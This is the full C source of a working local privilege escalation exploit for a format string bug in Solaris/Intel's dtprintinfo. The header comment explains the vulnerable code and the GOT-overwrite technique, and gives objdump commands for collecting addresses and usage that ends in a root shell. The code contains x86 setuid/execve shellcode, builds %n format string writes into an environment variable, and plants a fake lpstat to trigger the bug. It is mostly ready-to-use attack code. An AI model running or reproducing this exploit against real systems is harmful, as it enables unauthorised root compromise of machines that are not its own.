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raptor_dtprintcheckdir_intel2.c
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raptor_dtprintcheckdir_intel2.c
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/*
* raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE
* Copyright (c) 2020 Marco Ivaldi <[email protected]>
*
* "I'm gonna have to go into hardcore hacking mode!" -- Hackerman
* https://youtu.be/KEkrWRHCDQU
*
* Same code snippet, different vulnerability. 20 years later, format string
* bugs are not extinct after all! The vulnerable function looks like this:
*
* void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...)
* {
* ...
* char local_724 [300];
* ...
* else {
* __format = getenv("REQ_DIR");
* sprintf(local_724,__format,param_2); // [1]
* }
* ...
* local_c = strlen(local_724); // [2]
* sprintf(local_5f8,"/var/spool/lp/tmp/%s/",param_2); // [3]
* ...
* }
*
* The plan (inspired by an old technique devised by gera) is to exploit the
* sprintf at [1], where we control the format string, to replace the strlen
* at [2] with a strdup and the sprintf at [3] with a call to the shellcode
* dynamically allocated in the heap by strdup and pointed to by the local_c
* variable at [2]. In practice, to pull this off the structure of the evil
* environment variable REQ_DIR must be:
* [sc] [pad] [.got/strlen] [.got/sprintf] [stackpop] [W .plt/strdup] [W call *-0x8(%ebp)]
*
* To collect the needed addresses for your system, use:
* $ objdump -R /usr/dt/bin/dtprintinfo | grep strlen # .got
* 080994cc R_386_JUMP_SLOT strlen
* $ objdump -R /usr/dt/bin/dtprintinfo | grep sprintf # .got
* 080994e4 R_386_JUMP_SLOT sprintf
* $ objdump -x /usr/dt/bin/dtprintinfo | grep strdup # .plt
* 0805df20 F *UND* 00000000 strdup
* $ objdump -d /usr/dt/bin/dtprintinfo | grep call | grep ebp | grep -- -0x8 # .text
* 08067f52: ff 55 f8 call *-0x8(%ebp)
*
* This bug was likely fixed during the general cleanup of CDE code done by
* Oracle in response to my recently reported vulnerabilities. However, I can't
* confirm this because I have no access to their patches:/
*
* See also:
* raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
* raptor_dtprintcheckdir_sparc.c (just a proof of concept)
* raptor_dtprintcheckdir_sparc2.c (the real deal)
*
* Usage:
* $ gcc raptor_dtprintcheckdir_intel2.c -o raptor_dtprintcheckdir_intel2 -Wall
* [on your xserver: disable the access control]
* $ ./raptor_dtprintcheckdir_intel2 192.168.1.1:0
* [on your xserver: double click on the fake "fnord" printer]
* [...]
* # id
* uid=0(root) gid=1(other)
* #
*
* Tested on:
* SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
* [previous Solaris versions are also likely vulnerable]
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE"
#define INFO2 "Copyright (c) 2020 Marco Ivaldi <[email protected]>"
#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program
#define BUFSIZE 300 // size of evil env var
#define STACKPOPSEQ "%.8x" // stackpop sequence
#define STACKPOPS 14 // number of stackpops
/* replace with valid addresses for your system */
#define STRLEN 0x080994cc // .got strlen address
#define SPRINTF 0x080994e4 // .got sprintf address
#define STRDUP 0x0805df20 // .plt strdup address
#define RET 0x08067f52 // call *-0x8(%ebp) address
/* split an address in 4 bytes */
#define SPLITB(b1, b2, b3, b4, addr) { \
b1 = (addr & 0x000000ff); \
b2 = (addr & 0x0000ff00) >> 8; \
b3 = (addr & 0x00ff0000) >> 16; \
b4 = (addr & 0xff000000) >> 24; \
}
char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";
/* globals */
char *arg[2] = {"foo", NULL};
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], *p = buf;
char platform[256], release[256], display[256];
int i, stackpops = STACKPOPS;
unsigned base, n1, n2, n3, n4, n5, n6, n7, n8;
unsigned char strdup1, strdup2, strdup3, strdup4;
unsigned char ret1, ret2, ret3, ret4;
int strlen_got = STRLEN;
int sprintf_got = SPRINTF;
int strdup_plt = STRDUP;
int ret = RET;
/* lpstat code to add a fake printer */
if (!strcmp(argv[0], "lpstat")) {
/* check command line */
if (argc != 2)
exit(1);
/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for fnord: /dev/null\n");
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: fnord\n");
}
exit(0);
}
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* process command line */
if (argc != 2) {
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
/* evil env var: name + shellcode + padding */
bzero(buf, BUFSIZE);
sprintf(buf, "REQ_DIR=%s#", sc);
p += strlen(buf);
/* format string: .got strlen address */
*((void **)p) = (void *)(strlen_got); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(strlen_got + 1); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(strlen_got + 2); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(strlen_got + 3); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
/* format string: .got sprintf address */
*((void **)p) = (void *)(sprintf_got); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(sprintf_got + 1); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(sprintf_got + 2); p += 4;
memset(p, 'A', 4); p += 4; /* dummy */
*((void **)p) = (void *)(sprintf_got + 3); p += 4;
/* format string: stackpop sequence */
base = strlen(buf) - strlen("REQ_DIR=");
for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
strcat(p, STACKPOPSEQ);
/* calculate numeric arguments for .plt strdup address */
SPLITB(strdup1, strdup2, strdup3, strdup4, strdup_plt);
n1 = (strdup1 - base) % 0x100;
n2 = (strdup2 - base - n1) % 0x100;
n3 = (strdup3 - base - n1 - n2) % 0x100;
n4 = (strdup4 - base - n1 - n2 - n3) % 0x100;
/* calculate numeric arguments for call *-0x8(%ebp) address */
SPLITB(ret1, ret2, ret3, ret4, ret);
n5 = (ret1 - base - n1 - n2 - n3 - n4) % 0x100;
n6 = (ret2 - base - n1 - n2 - n3 - n4 - n5) % 0x100;
n7 = (ret3 - base - n1 - n2 - n3 - n4 - n5 - n6) % 0x100;
n8 = (ret4 - base - n1 - n2 - n3 - n4 - n5 - n6 - n7) % 0x100;
/* check for potentially dangerous numeric arguments below 10 */
n1 += (n1 < 10) ? (0x100) : (0);
n2 += (n2 < 10) ? (0x100) : (0);
n3 += (n3 < 10) ? (0x100) : (0);
n4 += (n4 < 10) ? (0x100) : (0);
n5 += (n5 < 10) ? (0x100) : (0);
n6 += (n6 < 10) ? (0x100) : (0);
n7 += (n7 < 10) ? (0x100) : (0);
n8 += (n8 < 10) ? (0x100) : (0);
/* format string: write string */
sprintf(p, "%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n", n1, n2, n3, n4, n5, n6, n7, n8);
/* fill the envp, keeping padding */
add_env(buf);
add_env(display);
add_env("TMP_DIR=/tmp");
add_env("PATH=.:/usr/bin");
add_env("HOME=/tmp");
add_env(NULL);
/* we need at least one directory inside TMP_DIR to trigger the bug */
mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");
/* print some output */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
fprintf(stderr, "Using SI_PLATFORM\t\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using strlen address in .got\t: 0x%p\n", (void *)strlen_got);
fprintf(stderr, "Using sprintf address in .got\t: 0x%p\n", (void *)sprintf_got);
fprintf(stderr, "Using strdup address in .plt\t: 0x%p\n", (void *)strdup_plt);
fprintf(stderr, "Using call *-0x8(%%ebp) address\t: 0x%p\n\n", (void *)ret);
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(1);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return env_len;
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return env_len;
}